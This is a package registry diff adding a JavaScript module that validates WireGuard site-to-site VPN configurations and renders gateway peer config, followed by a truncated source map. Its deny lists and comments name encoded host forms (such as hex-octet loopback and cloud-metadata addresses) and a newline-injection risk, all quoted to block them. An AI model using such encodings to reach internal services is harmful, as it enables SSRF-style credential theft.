@appforge-ci/core 0.1.2 → 0.2.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,291 @@
1
+ /**
2
+ * Pure validation + addressing helpers for the site-to-site VPN
3
+ * (`VpnTunnel`, packages/db/migrations/0037_vpn.sql). No I/O, so the API
4
+ * route, CLI and dashboard all validate a tunnel config identically
5
+ * before it reaches the server, and the server never has to trust them.
6
+ *
7
+ * IPv4 only in v1: the tunnel's own /30, every LAN CIDR and the gateway's
8
+ * endpoint IP literal are IPv4. A customer gateway reachable by an IPv6
9
+ * hostname still works through DNS (a hostname endpoint is allowed) — what
10
+ * isn't supported yet is a LAN or tunnel range that is itself IPv6.
11
+ */
12
+ const IPV4 = /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/;
13
+ export function parseIpv4(ip) {
14
+ const m = IPV4.exec(ip);
15
+ if (!m)
16
+ return null;
17
+ let n = 0;
18
+ for (let i = 1; i <= 4; i++) {
19
+ const part = m[i];
20
+ // "01" is ambiguous (octal in some parsers) — refuse rather than guess.
21
+ if (part.length > 1 && part.startsWith("0"))
22
+ return null;
23
+ const octet = Number(part);
24
+ if (octet > 255)
25
+ return null;
26
+ n = n * 256 + octet;
27
+ }
28
+ return n;
29
+ }
30
+ export function formatIpv4(n) {
31
+ return [(n / 2 ** 24) & 255, (n / 2 ** 16) & 255, (n / 2 ** 8) & 255, n & 255].join(".");
32
+ }
33
+ function maskOf(prefix) {
34
+ return prefix === 0 ? 0 : (0xffffffff << (32 - prefix)) >>> 0;
35
+ }
36
+ /** Parses "a.b.c.d/n". Returns null for anything malformed, and for a
37
+ * CIDR whose host bits are set ("10.0.0.5/24") — a silent normalize
38
+ * would hide a typo that routes a different range than the customer
39
+ * meant. */
40
+ export function parseCidr(cidr) {
41
+ const [ip, prefixText, ...rest] = cidr.split("/");
42
+ if (ip === undefined || prefixText === undefined || rest.length > 0)
43
+ return null;
44
+ if (!/^\d{1,2}$/.test(prefixText))
45
+ return null;
46
+ const prefix = Number(prefixText);
47
+ if (prefix > 32)
48
+ return null;
49
+ const addr = parseIpv4(ip);
50
+ if (addr === null)
51
+ return null;
52
+ if ((addr & maskOf(prefix)) >>> 0 !== addr)
53
+ return null;
54
+ return { network: addr, prefix };
55
+ }
56
+ export function cidrsOverlap(a, b) {
57
+ const prefix = Math.min(a.prefix, b.prefix);
58
+ const mask = maskOf(prefix);
59
+ return ((a.network & mask) >>> 0) === ((b.network & mask) >>> 0);
60
+ }
61
+ function cidrContainsIp(cidr, ip) {
62
+ return ((ip & maskOf(cidr.prefix)) >>> 0) === cidr.network;
63
+ }
64
+ const cidr = (text) => parseCidr(text);
65
+ /** Ranges a customer LAN must never claim: they are either never a real
66
+ * site network or would hijack traffic the build needs to go direct. */
67
+ const FORBIDDEN_LAN_RANGES = [
68
+ { range: cidr("0.0.0.0/8"), why: "0.0.0.0/8 is not a routable network" },
69
+ { range: cidr("127.0.0.0/8"), why: "127.0.0.0/8 is loopback" },
70
+ { range: cidr("169.254.0.0/16"), why: "169.254.0.0/16 is link-local (and reserved for the tunnel's own /30)" },
71
+ { range: cidr("224.0.0.0/3"), why: "224.0.0.0/3 is multicast/reserved" },
72
+ ];
73
+ /** Where tunnel /30s are allocated from. Link-local space: no customer LAN
74
+ * may use it (see above), and it is never routed on the public internet,
75
+ * so a collision needs a customer network that already misuses it. The
76
+ * 169.254.169.0/24 slice is skipped — cloud metadata services live at
77
+ * 169.254.169.254. */
78
+ const TUNNEL_POOL = cidr("169.254.192.0/18");
79
+ const TUNNEL_POOL_SKIP = cidr("169.254.169.0/24");
80
+ export const MAX_LAN_CIDRS = 16;
81
+ export const MIN_LAN_PREFIX = 8;
82
+ /** The two usable addresses of a tunnel /30: `gateway` is the customer
83
+ * side (network + 1), `local` is AppForge's side (network + 2). */
84
+ export function tunnelAddresses(tunnelCidr) {
85
+ const parsed = parseCidr(tunnelCidr);
86
+ if (!parsed || parsed.prefix !== 30)
87
+ return null;
88
+ return { gateway: formatIpv4(parsed.network + 1), local: formatIpv4(parsed.network + 2) };
89
+ }
90
+ /**
91
+ * Picks a free /30 from the tunnel pool that doesn't overlap any of the
92
+ * customer's LAN CIDRs. `random` returns a float in [0, 1) — injected so
93
+ * tests are deterministic and the Worker can pass a crypto-backed source.
94
+ */
95
+ export function allocateTunnelCidr(lanCidrs, random) {
96
+ const lans = lanCidrs.map(parseCidr).filter((c) => c !== null);
97
+ const slots = 2 ** (30 - TUNNEL_POOL.prefix);
98
+ for (let attempt = 0; attempt < 64; attempt++) {
99
+ const slot = Math.floor(random() * slots);
100
+ const candidate = { network: TUNNEL_POOL.network + slot * 4, prefix: 30 };
101
+ if (cidrsOverlap(candidate, TUNNEL_POOL_SKIP))
102
+ continue;
103
+ if (lans.some((lan) => cidrsOverlap(lan, candidate)))
104
+ continue;
105
+ return `${formatIpv4(candidate.network)}/30`;
106
+ }
107
+ throw new Error("could not allocate a tunnel range that avoids the declared LAN ranges");
108
+ }
109
+ /** A WireGuard key is 32 bytes, base64-encoded (44 chars, one trailing '='). */
110
+ export function isWireguardKey(value) {
111
+ if (!/^[A-Za-z0-9+/]{43}=$/.test(value))
112
+ return false;
113
+ // 43 base64 chars carry 258 bits; the final char's low two bits must be 0
114
+ // for a canonical 32-byte encoding.
115
+ return "AEIMQUYcgkosw048".includes(value[42]);
116
+ }
117
+ const HOSTNAME = /^(?=.{1,253}$)([a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$/i;
118
+ /** True for an IPv4 address (as a 32-bit integer, see `parseIpv4`) that is
119
+ * never a customer's public gateway: pointing the Mac's UDP at one would aim
120
+ * it at the Mac's own network. Exported for the agent, which must re-check a
121
+ * gateway *hostname's* resolved addresses with the same rule right before it
122
+ * dials (a DNS name can resolve to a private IP; the Worker can't see that). */
123
+ export function isNonPublicIpv4(ip) {
124
+ return [
125
+ cidr("0.0.0.0/8"),
126
+ cidr("10.0.0.0/8"),
127
+ cidr("100.64.0.0/10"),
128
+ cidr("127.0.0.0/8"),
129
+ cidr("169.254.0.0/16"),
130
+ cidr("172.16.0.0/12"),
131
+ cidr("192.168.0.0/16"),
132
+ cidr("224.0.0.0/3"),
133
+ ].some((range) => cidrContainsIp(range, ip));
134
+ }
135
+ /** `host:port` where host is a DNS name or a *public* IPv4 literal. */
136
+ export function parseEndpoint(endpoint) {
137
+ const idx = endpoint.lastIndexOf(":");
138
+ if (idx <= 0)
139
+ return { error: "gatewayEndpoint must be host:port" };
140
+ const host = endpoint.slice(0, idx);
141
+ const portText = endpoint.slice(idx + 1);
142
+ if (!/^\d{1,5}$/.test(portText) || Number(portText) < 1 || Number(portText) > 65535) {
143
+ return { error: "gatewayEndpoint port must be 1-65535" };
144
+ }
145
+ const port = Number(portText);
146
+ if (host.startsWith("[") || host.includes(":")) {
147
+ return { error: "IPv6 literals are not supported as a gateway endpoint — use a DNS name" };
148
+ }
149
+ const ip = parseIpv4(host);
150
+ if (ip !== null) {
151
+ if (isNonPublicIpv4(ip)) {
152
+ return { error: "gatewayEndpoint must be a publicly reachable address, not a private/loopback/link-local IP" };
153
+ }
154
+ return { host, port };
155
+ }
156
+ if (/^\d+(\.\d+)*$/.test(host))
157
+ return { error: "gatewayEndpoint host is not a valid IPv4 address" };
158
+ if (!HOSTNAME.test(host))
159
+ return { error: "gatewayEndpoint host is not a valid DNS name" };
160
+ // inet_aton-style resolvers read "0x7f.0.0.1", "0xa9.0xfe.0xa9.0xfe" or
161
+ // "0x0a.1" as IPv4 addresses (loopback, cloud metadata, 10.0.0.1), which
162
+ // the check above would otherwise wave through as "a DNS name". No real
163
+ // hostname has an all-digit or 0x-prefixed label, so refuse them anywhere.
164
+ if (host.split(".").some((label) => /^(0x[0-9a-f]*|\d+)$/i.test(label))) {
165
+ return { error: "gatewayEndpoint host has a numeric label that resolvers may read as an IP address — use a real DNS name or a plain dotted IPv4" };
166
+ }
167
+ if (host.toLowerCase() === "localhost" || host.toLowerCase().endsWith(".localhost")) {
168
+ return { error: "gatewayEndpoint must be publicly reachable, not localhost" };
169
+ }
170
+ return { host: host.toLowerCase(), port };
171
+ }
172
+ const DOMAIN_SUFFIX = /^(\*\.)?[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)+$/i;
173
+ /**
174
+ * Validates a complete tunnel config and returns every problem found (an
175
+ * empty array means valid) — callers show them all at once rather than one
176
+ * round trip per mistake. Checks the cross-field rules a per-field zod
177
+ * schema can't: the tunnel /30 must not overlap any LAN range, and the
178
+ * DNS server must sit inside a LAN range (otherwise its queries would not
179
+ * go through the tunnel at all).
180
+ */
181
+ export function validateVpnTunnelConfig(config) {
182
+ const errors = [];
183
+ const endpoint = parseEndpoint(config.gatewayEndpoint);
184
+ if ("error" in endpoint)
185
+ errors.push(endpoint.error);
186
+ if (!isWireguardKey(config.gatewayPublicKey)) {
187
+ errors.push("gatewayPublicKey must be a base64-encoded 32-byte WireGuard public key");
188
+ }
189
+ const lans = [];
190
+ if (config.lanCidrs.length === 0)
191
+ errors.push("lanCidrs must contain at least one CIDR");
192
+ if (config.lanCidrs.length > MAX_LAN_CIDRS)
193
+ errors.push(`lanCidrs may contain at most ${MAX_LAN_CIDRS} CIDRs`);
194
+ const seen = new Set();
195
+ for (const text of config.lanCidrs) {
196
+ const parsed = parseCidr(text);
197
+ if (!parsed) {
198
+ errors.push(`"${text}" is not a valid IPv4 CIDR with the host bits zeroed (e.g. 10.20.0.0/16)`);
199
+ continue;
200
+ }
201
+ if (seen.has(text)) {
202
+ errors.push(`"${text}" is listed more than once`);
203
+ continue;
204
+ }
205
+ seen.add(text);
206
+ if (parsed.prefix < MIN_LAN_PREFIX) {
207
+ errors.push(`"${text}" is too broad — LAN ranges must be /${MIN_LAN_PREFIX} or narrower (default routes are never allowed)`);
208
+ continue;
209
+ }
210
+ const forbidden = FORBIDDEN_LAN_RANGES.find((f) => cidrsOverlap(f.range, parsed));
211
+ if (forbidden) {
212
+ errors.push(`"${text}" overlaps a range that can't be tunneled: ${forbidden.why}`);
213
+ continue;
214
+ }
215
+ lans.push(parsed);
216
+ }
217
+ const tunnel = parseCidr(config.tunnelCidr);
218
+ if (!tunnel || tunnel.prefix !== 30) {
219
+ errors.push("tunnelCidr must be a /30 (e.g. 169.254.200.0/30)");
220
+ }
221
+ else {
222
+ if (lans.some((lan) => cidrsOverlap(lan, tunnel))) {
223
+ errors.push("tunnelCidr overlaps one of the lanCidrs — pick a different /30");
224
+ }
225
+ if (cidrsOverlap(tunnel, TUNNEL_POOL_SKIP) ||
226
+ cidrsOverlap(tunnel, cidr("127.0.0.0/8")) ||
227
+ cidrsOverlap(tunnel, cidr("224.0.0.0/3")) ||
228
+ cidrsOverlap(tunnel, cidr("0.0.0.0/8"))) {
229
+ errors.push("tunnelCidr can't use that range (reserved for cloud metadata, loopback, multicast or 0.0.0.0/8)");
230
+ }
231
+ }
232
+ if (config.dnsServer !== undefined && config.dnsServer !== null) {
233
+ const dns = parseIpv4(config.dnsServer);
234
+ if (dns === null)
235
+ errors.push("dnsServer must be an IPv4 address");
236
+ else if (lans.length > 0 && !lans.some((lan) => cidrContainsIp(lan, dns))) {
237
+ errors.push("dnsServer must be inside one of the lanCidrs so its queries go through the tunnel");
238
+ }
239
+ }
240
+ const domains = config.allowedDomains ?? [];
241
+ if (domains.length > 32)
242
+ errors.push("allowedDomains may contain at most 32 entries");
243
+ for (const d of domains) {
244
+ if (!DOMAIN_SUFFIX.test(d))
245
+ errors.push(`"${d}" is not a valid domain (use example.com or *.example.com)`);
246
+ }
247
+ if (domains.length > 0 && (config.dnsServer === undefined || config.dnsServer === null)) {
248
+ errors.push("allowedDomains needs a dnsServer to resolve them through the tunnel");
249
+ }
250
+ return errors;
251
+ }
252
+ /**
253
+ * The text the customer pastes into their own gateway so it accepts our
254
+ * side of the tunnel. Plain WireGuard `[Peer]` syntax — wg-quick, pfSense,
255
+ * OPNsense, MikroTik, FortiGate and UniFi all take these four values. The
256
+ * Mac dials out, so there is deliberately no `Endpoint` line: the gateway
257
+ * learns our address from the handshake and follows it as Macs change.
258
+ */
259
+ export function renderGatewayPeerConfig(input) {
260
+ const addrs = tunnelAddresses(input.tunnelCidr);
261
+ if (!addrs)
262
+ throw new Error("tunnelCidr must be a /30");
263
+ // The customer pastes this into a gateway whose wg-quick runs as root, so
264
+ // every interpolated value must be provably a single line of the shape we
265
+ // expect — a stray newline would let one value inject a whole extra
266
+ // `[Interface]`/`PostUp`/`[Peer]` stanza. Keys and CIDRs are re-checked
267
+ // here even though the route validated them; the org name is free text any
268
+ // org member can set (PATCH /orgs/:orgId), so it is stripped to printable
269
+ // characters on one line and only ever lands inside a `#` comment.
270
+ if (!isWireguardKey(input.ourPublicKey))
271
+ throw new Error("ourPublicKey is not a WireGuard key");
272
+ if (!isWireguardKey(input.presharedKey))
273
+ throw new Error("presharedKey is not a WireGuard key");
274
+ for (const lan of input.lanCidrs) {
275
+ if (parseCidr(lan) === null)
276
+ throw new Error(`lanCidrs entry is not a CIDR: ${JSON.stringify(lan)}`);
277
+ }
278
+ const orgName = input.orgName.replace(/[^\p{L}\p{N} ._,'()&+/-]+/gu, " ").replace(/\s+/g, " ").trim().slice(0, 80);
279
+ return [
280
+ `# AppForge CI site-to-site tunnel for ${orgName || "your organization"}`,
281
+ `# 1. On your gateway's WireGuard interface, use address ${addrs.gateway}/30.`,
282
+ `# 2. Add this peer. AppForge dials out to you, so no Endpoint is needed.`,
283
+ `[Peer]`,
284
+ `PublicKey = ${input.ourPublicKey}`,
285
+ `PresharedKey = ${input.presharedKey}`,
286
+ `AllowedIPs = ${addrs.local}/32`,
287
+ `# 3. Allow ${addrs.local} to reach only: ${input.lanCidrs.join(", ")}`,
288
+ `# and either masquerade it or route ${input.tunnelCidr} back to this interface.`,
289
+ ].join("\n");
290
+ }
291
+ //# sourceMappingURL=vpn-network.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"vpn-network.js","sourceRoot":"","sources":["../src/vpn-network.ts"],"names":[],"mappings":"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